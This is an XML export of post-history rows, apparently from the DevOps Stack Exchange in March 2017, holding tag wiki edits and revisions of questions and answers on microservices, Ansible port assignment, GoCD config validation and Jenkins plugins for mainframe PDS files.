  <row Id="853" PostHistoryTypeId="10" PostId="292" RevisionGUID="3b599c5a-c68d-4f20-8f22-16ab56692d0e" CreationDate="2017-03-03T14:59:07.067" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:301,&quot;DisplayName&quot;:&quot;madshvero&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;}]}" />
  <row Id="854" PostHistoryTypeId="12" PostId="292" RevisionGUID="6ba8db0a-5959-434b-9d60-6692731ef330" CreationDate="2017-03-03T15:06:06.563" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="855" PostHistoryTypeId="2" PostId="295" RevisionGUID="4040bd64-5650-4f5d-82c1-d67973ec8e5b" CreationDate="2017-03-03T15:26:33.190" UserId="27" Text="We went from a large, monolithic backend application worked on by 100s of devs into docker based microservices, deployments using ansible and similar DevOps fluff. Here are some notes on the process:&#xD;&#xA;&#xD;&#xA;1. Determine the domain boundaries inside your monolithic app. Make sure calls between boundaries happen as less as possible (by call I mean either in-process calls, or database access).&#xD;&#xA;2. Split the devs into teams, and assign each of them one slice of the domain. (It is possible that one domain will be worked on multiple teams as well)&#xD;&#xA;3. Specify cross boundary calls still happen, and define an API around it. Make sure only this intermediate library is used when doing cross domain calls.&#xD;&#xA;4. Have proper tests around these intermediate libraries, that check that they are working properly.&#xD;&#xA;5. Split up the code based on these domain.&#xD;&#xA;&#xD;&#xA;Now, each of your teams should be both smaller, and work on their piece of code without worrying too much about the others. The tests you put into these intermediate libraries should cover regressions from outside callers, and the internal code is your responsibilty. Obviously if the intermediate libraries needs changes, or if your tests tell you that you are not adhering to the API specifications anymore (which can, and will happen occasionally), then you need to start talking to the other team(s) using these APIs.&#xD;&#xA;&#xD;&#xA;Once you are happy you can try to replace these intermediate libraries to be HTTP API calls instead of in-process calls. Once this is done, you can actually split up your large app into real, smaller pieces (they will probably still not be &quot;micro&quot; services, but much-much smaller and more manageable). Also they will at least belong to one specific domain, and also have a clear, well defined API that others (including new microservices mostly free of your legacy big app) can use to obtain their data." ContentLicense="CC BY-SA 3.0" />
  <row Id="856" PostHistoryTypeId="5" PostId="208" RevisionGUID="8d0996eb-18a5-4e21-a265-afe71385f82e" CreationDate="2017-03-03T15:44:49.113" UserId="396" Comment="added 303 characters in body" Text="I am new to Ansible, but I have to maintain a set of playbooks, which correspond to services to be setup in a given environment. They need to be assigned a port, certificates, etc. This results in many files with lists of essentially always the same names and an assignment to them.&#xD;&#xA;&#xD;&#xA;In many cases I think I can easily reuse the service_name as variable, but when mapping to IPs, ports or other numeric identifiers I have not yet figured out a way to deterministically assign them different numbers in a way that is reproducible, and preferably remains the same even when new services are added. I have considered using a SQLite database to store the services from and to generate the values from their ids, but I have no idea how to integrate that with Ansible.&#xD;&#xA;&#xD;&#xA;I assume that assigning increasing port numbers is not something entirely new; it is something a lot of sysadmins to on a day-to-day basis so there has to be some way to do that.&#xD;&#xA;&#xD;&#xA;**Edit**: We directly add the port numbers etc. in `group_vars/all.yml` like this:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;        service1:1024&#xD;&#xA;        service2:1025&#xD;&#xA;        service3:1026&#xD;&#xA;&#xD;&#xA;The inventory is generated automatically, since we create additional jails (BSD) and depends on the roles that will be executed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="857" PostHistoryTypeId="10" PostId="277" RevisionGUID="9de97e5a-75ac-461c-a8e4-1e719f1c0b92" CreationDate="2017-03-03T16:09:58.047" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="858" PostHistoryTypeId="5" PostId="35" RevisionGUID="7f9679a7-c0a8-43eb-8b04-a967a8d218aa" CreationDate="2017-03-03T16:17:33.570" UserId="40" Comment="Fix typo and add reference" Text="Git is an open source distributed version control system.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Homepage][2].&#xD;&#xA;- [Pro Git book][3].&#xD;&#xA;- [Git Reference][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GEGy5.png&#xD;&#xA;  [2]: http://git-scm.com/&#xD;&#xA;  [3]: https://git-scm.com/book&#xD;&#xA;  [4]: http://gitref.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="859" PostHistoryTypeId="24" PostId="35" RevisionGUID="7f9679a7-c0a8-43eb-8b04-a967a8d218aa" CreationDate="2017-03-03T16:17:33.570" Comment="Proposed by 40 approved by 6, 26 edit id of 60" ContentLicense="CC BY-SA 3.0" />
  <row Id="860" PostHistoryTypeId="5" PostId="236" RevisionGUID="c58724c4-ee7c-4ad0-ab39-15a32dfd942c" CreationDate="2017-03-03T16:17:38.803" UserId="40" Comment="added 145 characters in body" Text="Use this tag for questions about Vagrant, an open-source software product for building and maintaining portable virtual development environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="861" PostHistoryTypeId="24" PostId="236" RevisionGUID="c58724c4-ee7c-4ad0-ab39-15a32dfd942c" CreationDate="2017-03-03T16:17:38.803" Comment="Proposed by 40 approved by 6, 26 edit id of 64" ContentLicense="CC BY-SA 3.0" />
  <row Id="862" PostHistoryTypeId="5" PostId="249" RevisionGUID="3412441a-ba32-4727-8195-a6f0c6a6cb66" CreationDate="2017-03-03T16:17:44.910" UserId="6" Comment="added 700 characters in body" Text="[Amazon Web Services (AWS)][1] provides a web services platform in the cloud. With AWS you can requisition compute power, virtual machine instances, storage through a variety of databases and file stores as your needs scale up or down.&#xD;&#xA;&#xD;&#xA;SDKs to access and manage Amazon Web Services are provided in a multitude of programming languages, including PHP, Java, .NET. The services are also accessible through the REST and SOAP APIs, command-line interface, and web dashboard.&#xD;&#xA;&#xD;&#xA;With Amazon Web Services, you can take advantage of Amazon.com’s global computing infrastructure that is the backbone of their multi-billion retail business spread across various regions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="863" PostHistoryTypeId="24" PostId="249" RevisionGUID="3412441a-ba32-4727-8195-a6f0c6a6cb66" CreationDate="2017-03-03T16:17:44.910" Comment="Proposed by 6 approved by 26 edit id of 69" ContentLicense="CC BY-SA 3.0" />
  <row Id="864" PostHistoryTypeId="5" PostId="280" RevisionGUID="4df325cc-b56e-4e6f-9068-d002acaca0da" CreationDate="2017-03-03T16:18:02.417" UserId="40" Comment="added 190 characters in body" Text="Use this tag for questions about mainframes (also known as &quot;big iron&quot; computers running operating system such as zOS, zVM, or zLinux) related to topics such as SCM, testing, operations, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="865" PostHistoryTypeId="24" PostId="280" RevisionGUID="4df325cc-b56e-4e6f-9068-d002acaca0da" CreationDate="2017-03-03T16:18:02.417" Comment="Proposed by 40 approved by 26 edit id of 76" ContentLicense="CC BY-SA 3.0" />
  <row Id="866" PostHistoryTypeId="5" PostId="119" RevisionGUID="9a3eec70-4b91-4200-b8fa-fdf210d72191" CreationDate="2017-03-03T16:18:09.817" UserId="40" Comment="added 194 characters in body" Text="Use this tag for questions about Ansible, an open-source automation engine, related to using Ansible for topics such as cloud provisioning, configuration management, application deployment, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="867" PostHistoryTypeId="24" PostId="119" RevisionGUID="9a3eec70-4b91-4200-b8fa-fdf210d72191" CreationDate="2017-03-03T16:18:09.817" Comment="Proposed by 40 approved by 6, 26 edit id of 62" ContentLicense="CC BY-SA 3.0" />
  <row Id="868" PostHistoryTypeId="5" PostId="290" RevisionGUID="604899cc-4d6e-4233-b20c-5530c5020ca1" CreationDate="2017-03-03T16:18:35.353" UserId="460" Comment="added 1200 characters in body" Text="Continuous-Integration (CI) is the process of merging developer's working code copies to a shared codebase frequently and test it to prevent or  quickly identify and resolve integration problems. The idea is that developers write and commit small pieces of code and check several times a day if their code alterations breaks existing functionality.&#xD;&#xA;&#xD;&#xA;There are many (server) systems that facilitate continuous integration and the work they do is often also called continuous integration. This usually includes (but is not limited to) code compilation and executing unit and integration tests. Some often-used CI software include:&#xD;&#xA;&#xD;&#xA; - [tag:Jenkins]&#xD;&#xA; - [tag:Travis-CI]&#xD;&#xA; - [tag:CircleCI]&#xD;&#xA; - [tag:TeamCity]&#xD;&#xA; - Microsoft Team Foundation&#xD;&#xA; - Bamboo&#xD;&#xA;&#xD;&#xA;A comparison of CI software can be found on [Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software)&#xD;&#xA;&#xD;&#xA;Continuous-integration is generally seen as a first step to achieve [tag:continuous-delivery] and continuous-deployment. &#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about continuous integration in general. For questions about specific CI software it's best to use the tag for that system (if one exists).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="869" PostHistoryTypeId="24" PostId="290" RevisionGUID="604899cc-4d6e-4233-b20c-5530c5020ca1" CreationDate="2017-03-03T16:18:35.353" Comment="Proposed by 460 approved by 26 edit id of 78" ContentLicense="CC BY-SA 3.0" />
  <row Id="870" PostHistoryTypeId="5" PostId="232" RevisionGUID="db3c1c66-8f43-4511-8d9e-c183b5380025" CreationDate="2017-03-03T16:18:43.297" UserId="40" Comment="added 194 characters in body" Text="Use this tag for questions about SCM (= Software Change Management), for tracking and controlling changes in the software, related to topics such as revision control, compilers, baselines, etc. " ContentLicense="CC BY-SA 3.0" />
  <row Id="871" PostHistoryTypeId="24" PostId="232" RevisionGUID="db3c1c66-8f43-4511-8d9e-c183b5380025" CreationDate="2017-03-03T16:18:43.297" Comment="Proposed by 40 approved by 6, 26 edit id of 61" ContentLicense="CC BY-SA 3.0" />
  <row Id="872" PostHistoryTypeId="5" PostId="234" RevisionGUID="5fef4ebb-15c2-48d5-803b-4a71aa503384" CreationDate="2017-03-03T16:19:06.943" UserId="40" Comment="added 178 characters in body" Text="Use this tag for questions about Hudson, a continuous integration tool written in Java, related to using Hudson for topics such as building, testing, and deploying software, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="873" PostHistoryTypeId="24" PostId="234" RevisionGUID="5fef4ebb-15c2-48d5-803b-4a71aa503384" CreationDate="2017-03-03T16:19:06.943" Comment="Proposed by 40 approved by 6, 26 edit id of 63" ContentLicense="CC BY-SA 3.0" />
  <row Id="874" PostHistoryTypeId="5" PostId="293" RevisionGUID="f89a129e-6b9a-4e48-884c-90d1aa47c557" CreationDate="2017-03-03T16:19:09.593" UserId="460" Comment="added 643 characters in body" Text="Continuous Delivery (CD) is the process of delivering software updates to users frequently, with little delay after implementing and testing code changes. To be able to do this the software development process has to be streamlined and [tag:continuous-integration] is generally seen a prerequisite for continuous-delivery.&#xD;&#xA;&#xD;&#xA;Continuous delivery is often seen as synonymous to continuous deployment, but strictly speaking the terms are different. For continuous delivery the last step between acceptance testing and deployment is a manual one. For continuous deployment this step is automated, deployment is always done as part of the process." ContentLicense="CC BY-SA 3.0" />
  <row Id="875" PostHistoryTypeId="24" PostId="293" RevisionGUID="f89a129e-6b9a-4e48-884c-90d1aa47c557" CreationDate="2017-03-03T16:19:09.593" Comment="Proposed by 460 approved by 26 edit id of 80" ContentLicense="CC BY-SA 3.0" />
  <row Id="876" PostHistoryTypeId="5" PostId="291" RevisionGUID="3d61eaad-1aa3-4037-9d58-eea09816a528" CreationDate="2017-03-03T16:19:24.030" UserId="460" Comment="added 222 characters in body" Text="process of merging developer's working code copies to a shared codebase frequently to prevent or minimize integration problems. For questions about a specific CI system like [Jenkins] or [Travis-CI] use those tags instead." ContentLicense="CC BY-SA 3.0" />
  <row Id="877" PostHistoryTypeId="24" PostId="291" RevisionGUID="3d61eaad-1aa3-4037-9d58-eea09816a528" CreationDate="2017-03-03T16:19:24.030" Comment="Proposed by 460 approved by 26 edit id of 79" ContentLicense="CC BY-SA 3.0" />
  <row Id="878" PostHistoryTypeId="13" PostId="292" RevisionGUID="93b2c97a-0d1b-4e22-aace-60277de4761c" CreationDate="2017-03-03T16:44:40.347" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="879" PostHistoryTypeId="2" PostId="296" RevisionGUID="07779b49-a022-49db-85e2-dbd1647f5527" CreationDate="2017-03-03T16:49:43.077" UserId="27" Text="We have a GoCD installation where we like to keep the pipeline configuration XML files (`cruise-config.xml`) in a separate git repository, and install it (preferably via a pipeline and automatically) to the GoCD server whenever it is changed.&#xD;&#xA;&#xD;&#xA;However we couldn't find an easy way to validate the XML config file before sending it off to GoCD, and obviously we do't want to install invalid configs, as that would break our pipelines. Are there any tools, or utilities that help us with validating the config file?" ContentLicense="CC BY-SA 3.0" />
  <row Id="880" PostHistoryTypeId="1" PostId="296" RevisionGUID="07779b49-a022-49db-85e2-dbd1647f5527" CreationDate="2017-03-03T16:49:43.077" UserId="27" Text="How can I validate GoCD configuration before applying it" ContentLicense="CC BY-SA 3.0" />
  <row Id="881" PostHistoryTypeId="3" PostId="296" RevisionGUID="07779b49-a022-49db-85e2-dbd1647f5527" CreationDate="2017-03-03T16:49:43.077" UserId="27" Text="&lt;continuous-integration&gt;&lt;configuration&gt;&lt;gocd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="882" PostHistoryTypeId="5" PostId="292" RevisionGUID="04cb1fbf-243f-4c2a-919f-ed322d7f0d2a" CreationDate="2017-03-03T16:55:33.270" UserId="40" Comment="added 381 characters in body; edited tags; edited title" Text="Assume somebody familiar with DevOps and mainframe SCM, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to:&#xD;&#xA;&#xD;&#xA;- investigate the feasibility of managing software components stored in personal files (PDSes) on the mainframe (so not, yet, managed by any of the typical [SCM solutions exist for managing mainframe software][2]).&#xD;&#xA;- to run Jenkins in some type of personal development environment, e.g. in a Linux environment in Virtual Box (if that would make sense).&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;- What kind of (basic) Jenkins setup (configuration) would be needed for that.&#xD;&#xA;- Which of the typical Jenkins plugins, if any, would be needed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275" ContentLicense="CC BY-SA 3.0" />
  <row Id="883" PostHistoryTypeId="4" PostId="292" RevisionGUID="04cb1fbf-243f-4c2a-919f-ed322d7f0d2a" CreationDate="2017-03-03T16:55:33.270" UserId="40" Comment="added 381 characters in body; edited tags; edited title" Text="How to get started with Jenkins to manage mainframe software?" ContentLicense="CC BY-SA 3.0" />
  <row Id="884" PostHistoryTypeId="6" PostId="292" RevisionGUID="04cb1fbf-243f-4c2a-919f-ed322d7f0d2a" CreationDate="2017-03-03T16:55:33.270" UserId="40" Comment="added 381 characters in body; edited tags; edited title" Text="&lt;jenkins&gt;&lt;mainframe&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="885" PostHistoryTypeId="5" PostId="256" RevisionGUID="ec4c529e-07d6-490a-b888-114f617faf6e" CreationDate="2017-03-03T17:03:12.930" UserId="6" Comment="add an explanation on what MMM is into the question" Text=" **Brooks's law:** *Adding manpower to a late software project makes it later.*&#xD;&#xA;&#xD;&#xA;In his book *No Silver Bullet — Essence and Accidents of Software Engineering* Frederick Brooks defines the concept of [Mythical Man Month][1]:&#xD;&#xA;&#xD;&#xA;Brooks's assumption is that complex programming projects *cannot be perfectly partitioned into discrete tasks* that can be worked on without *communication between the workers* and without establishing a set of *complex interrelationships between tasks and the workers performing them*.&#xD;&#xA;&#xD;&#xA;Yet big technology companies today like Facebook, Google, Amazon have many thousands of software developers working on a huge software. Deploying many thousands of times per day to production. All this without having to communicate with every single one of their peers.&#xD;&#xA;&#xD;&#xA;Since 1982 we have certainly moved forward and gathered some more experience in mitigating this problem. What are some of the solutions that you have successfully applied at your work to add resources to a project without creating more problems.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/The_Mythical_Man-Month" ContentLicense="CC BY-SA 3.0" />
  <row Id="886" PostHistoryTypeId="2" PostId="297" RevisionGUID="003c0704-59ae-43eb-8221-74b54f9594b8" CreationDate="2017-03-03T17:37:35.457" UserId="47" Text="Yes, splitting the bigger team into smaller, agile-size sub-teams is obviously necessary. But it's far from sufficient to also be performant overall, at the bigger team level.&#xD;&#xA;&#xD;&#xA;With a highly scalable CI system in place it is possible even for very large teams to use trunk-based integration, in a single master branch, thus completely avoiding the intermediate integration branches and the unknowns/risks/delays/costs associated with their merges which would otherwise represent serious obstacles impacting the sub-teams.&#xD;&#xA;&#xD;&#xA;With these obstacles out of the way the sub-teams can really make the best out of the agile techniques as they're automatically all on the same page and benefit from **all** advantages of the CI methodology." ContentLicense="CC BY-SA 3.0" />
  <row Id="887" PostHistoryTypeId="5" PostId="297" RevisionGUID="66045baf-2aa1-4b52-8dea-3c71c712fc87" CreationDate="2017-03-03T17:49:29.830" UserId="47" Comment="added clarification" Text="Yes, splitting the bigger team into smaller, agile-size sub-teams is obviously necessary. But it's far from sufficient to also be performant overall, at the bigger team level.&#xD;&#xA;&#xD;&#xA;With a highly scalable CI system in place it is possible even for very large teams to use trunk-based integration, in a single master branch, thus completely avoiding the intermediate integration branches and the unknowns/risks/delays/costs associated with their merges which would otherwise represent serious obstacles impacting the sub-teams.&#xD;&#xA;&#xD;&#xA;With these obstacles out of the way the sub-teams can really make the best out of the agile techniques as they're automatically all on the same page and benefit from **all** advantages of the CI methodology.&#xD;&#xA;&#xD;&#xA;Such approach works equally well:&#xD;&#xA;&#xD;&#xA;- for monolithic codebases/producs which can't/won't be split into micro-services for whatever reason&#xD;&#xA;- for codebases/producs split into micro-services, even if for reasons other than independent deployment capabilities - which don't want to deal with inter-service dependency management and prefer to stick to monolithic deployments (they still share the same development branch)&#xD;&#xA;&#xD;&#xA;Note: the actual SCM repository is irrelevant, it can be any combination of repos managed together as a single one, the term branch denotes just the common logical representation of whatever physical/actual repo branches exist in that combination.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="888" PostHistoryTypeId="2" PostId="298" RevisionGUID="20bb5f9f-b930-4927-9861-8660faa80831" CreationDate="2017-03-03T17:52:35.087" UserId="27" Text="The best solution we found so far, is using the [`MagicalGoConfigXmlLoader`][1]  interface from the go source code, as it calls an internal `validateCruiseConfig` command, that does all validations, or die if the file is invalid:&#xD;&#xA;&#xD;&#xA;    MagicalGoConfigXmlLoader loader = new MagicalGoConfigXmlLoader(new ConfigCache());&#xD;&#xA;    loader.loadConfigHolder(configAsString);&#xD;&#xA;&#xD;&#xA;The main problem with this solution that it essentially requires the whole GoCD server source code checked out, in a working state to work properly. Also as it's an internal API it is subject to changes between GoCD versions, making GoCD upgrades harder.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/gocd/gocd/blob/master/config/config-server/src/com/thoughtworks/go/config/MagicalGoConfigXmlLoader.java" ContentLicense="CC BY-SA 3.0" />
  <row Id="889" PostHistoryTypeId="5" PostId="292" RevisionGUID="02d83afe-d4d7-40a4-b2e5-21ff53e2a239" CreationDate="2017-03-03T18:15:42.210" UserId="40" Comment="added 1715 characters in body; edited tags; edited title" Text="Assume somebody familiar with DevOps and mainframe SCM, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to:&#xD;&#xA;&#xD;&#xA;- investigate the feasibility of managing software components stored in personal files (PDSes) on the mainframe (so not, yet, managed by any of the typical [SCM solutions exist for managing mainframe software][2]).&#xD;&#xA;- to run Jenkins in some type of personal development environment, e.g. in a Linux environment in Virtual Box (if that would make sense).&#xD;&#xA;&#xD;&#xA;After some kind of (minimal) Jenkins [installation][3] and [configuration][4] got completed, the actual question becomes &quot;**`Which of the typical Jenkins plugins, if any, would be needed?`**&quot;. From the various Jenkins plugins that appear to make sense in my case, it seems that these are possible candidates (quotes are from the linked pages):&#xD;&#xA;&#xD;&#xA;- [IBM zOS Connector][5].&#xD;&#xA;&#xD;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xD;&#xA;&#xD;&#xA;  &gt; Features include:&#xD;&#xA;&#xD;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xD;&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xD;&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xD;&#xA;&#xD;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][6].&#xD;&#xA;&#xD;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;Since the 1st plugin is about SCLM (which is all about PDSes), and the 2nd plugin explicitly states support for PDSes (in its name), I trust both are possible candidates. &#xD;&#xA;&#xD;&#xA;So assuming my shortlist is complete (is it?), what are the pros and cons of either one that should help me decide which one is best for my case?&#xD;&#xA;&#xD;&#xA;Ps: Something like a &quot;Jenkins Kickstart&quot; package doesn't seem to exist (or at least I've not found it so far).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275&#xD;&#xA;  [3]: https://www.tutorialspoint.com/jenkins/jenkins_installation.htm&#xD;&#xA;  [4]: https://www.tutorialspoint.com/jenkins/jenkins_configuration.htm&#xD;&#xA;  [5]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [6]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="890" PostHistoryTypeId="4" PostId="292" RevisionGUID="02d83afe-d4d7-40a4-b2e5-21ff53e2a239" CreationDate="2017-03-03T18:15:42.210" UserId="40" Comment="added 1715 characters in body; edited tags; edited title" Text="Which plugin should I use to get started with Jenkins to manage mainframe software in PDS format?" ContentLicense="CC BY-SA 3.0" />
  <row Id="891" PostHistoryTypeId="6" PostId="292" RevisionGUID="02d83afe-d4d7-40a4-b2e5-21ff53e2a239" CreationDate="2017-03-03T18:15:42.210" UserId="40" Comment="added 1715 characters in body; edited tags; edited title" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;mainframe&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="892" PostHistoryTypeId="5" PostId="226" RevisionGUID="d0256a16-e9e3-4138-ad88-d367f47e1bc0" CreationDate="2017-03-03T18:18:43.103" UserId="425" Comment="changed formatting, clarification" Text="I am working on an Angular2 project with Yii2 (PHP/MySQL) as its API point. We will need to deploy the Angular app in different languages for different customers (using AOT compilation from angular-cli).&#xD;&#xA;&#xD;&#xA;What is the best way to achieve this? I am looking at Docker or Ansible(-container) to make this work. But the examples are mainly for a 1:1 setup. But I would need a 1:n, something like:&#xD;&#xA;&#xD;&#xA;`deploy app-de new_costomer prod_server`&#xD;&#xA;&#xD;&#xA;Additional to that, when a new version of the app is available i want to update the entire network with the new app (that requires uploading of the src/ folder AOT compiled, and db migration scripts on the Yii2 side).&#xD;&#xA;&#xD;&#xA;Ideally it would do something like:&#xD;&#xA;&#xD;&#xA;`deploy update network-all prod_server`&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;**EDIT (03.03):**&#xD;&#xA;&#xD;&#xA;To clarify: I have a number of customers, each customer should get its own container (docker, through ansible-container). There is the AOT compiled Angular stuff (just JS) and the PHP backend with MySQL.&#xD;&#xA;&#xD;&#xA;Each customer gets this setup on a server (so 3 customers = 3 docker containers with the Angular + PHP + MySQL).&#xD;&#xA;&#xD;&#xA;We push updates to both Angular and PHP quite frequently (i.e. the entire DIST folder needs to be uploaded or at least a diff, migrations scripts for the PHP/MySQL backend needs to run, etc.).&#xD;&#xA;&#xD;&#xA;And this from one command (because I obviously do not want to have SSH into each container to do all that semi-manually).&#xD;&#xA;&#xD;&#xA;Since I have never done this kind of setup before, I would like to get some ideas on how this can achieved with things like Ansible (or the like).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="893" PostHistoryTypeId="6" PostId="226" RevisionGUID="d0256a16-e9e3-4138-ad88-d367f47e1bc0" CreationDate="2017-03-03T18:18:43.103" UserId="425" Comment="changed formatting, clarification" Text="&lt;deployment&gt;&lt;ansible&gt;&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="894" PostHistoryTypeId="5" PostId="292" RevisionGUID="522a8036-9150-4282-94c2-cdcd495200fa" CreationDate="2017-03-03T18:40:10.723" UserId="40" Comment="deleted 24 characters in body; edited title" Text="Assume somebody familiar with DevOps and mainframes, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to:&#xD;&#xA;&#xD;&#xA;- investigate the feasibility of managing data stored in personal files (PDSes) on the mainframe (so not, yet, managed by any of the typical [SCM solutions exist for managing mainframe software][2]).&#xD;&#xA;- to run Jenkins in some type of personal development environment, e.g. in a Linux environment in Virtual Box (if that would make sense).&#xD;&#xA;&#xD;&#xA;After some kind of (minimal) Jenkins [installation][3] and [configuration][4] got completed, the actual question becomes &quot;**`Which of the typical Jenkins plugins, if any, would be needed?`**&quot;. From the various Jenkins plugins that appear to make sense in my case, it seems that these are possible candidates (quotes are from the linked pages):&#xD;&#xA;&#xD;&#xA;- [IBM zOS Connector][5].&#xD;&#xA;&#xD;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xD;&#xA;&#xD;&#xA;  &gt; Features include:&#xD;&#xA;&#xD;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xD;&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xD;&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xD;&#xA;&#xD;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][6].&#xD;&#xA;&#xD;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;Since the 1st plugin is about SCLM (which is all about PDSes), and the 2nd plugin explicitly states support for PDSes (in its name), I trust both are possible candidates. &#xD;&#xA;&#xD;&#xA;So assuming my shortlist is complete (is it?), what are the pros and cons of either one that should help me decide which one is best for my case?&#xD;&#xA;&#xD;&#xA;Ps: Something like a &quot;Jenkins Kickstart&quot; package doesn't seem to exist (at least I've not found it yet).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275&#xD;&#xA;  [3]: https://www.tutorialspoint.com/jenkins/jenkins_installation.htm&#xD;&#xA;  [4]: https://www.tutorialspoint.com/jenkins/jenkins_configuration.htm&#xD;&#xA;  [5]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [6]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="895" PostHistoryTypeId="4" PostId="292" RevisionGUID="522a8036-9150-4282-94c2-cdcd495200fa" CreationDate="2017-03-03T18:40:10.723" UserId="40" Comment="deleted 24 characters in body; edited title" Text="Which plugin should I use to get started with Jenkins to manage mainframe components in PDS format?" ContentLicense="CC BY-SA 3.0" />
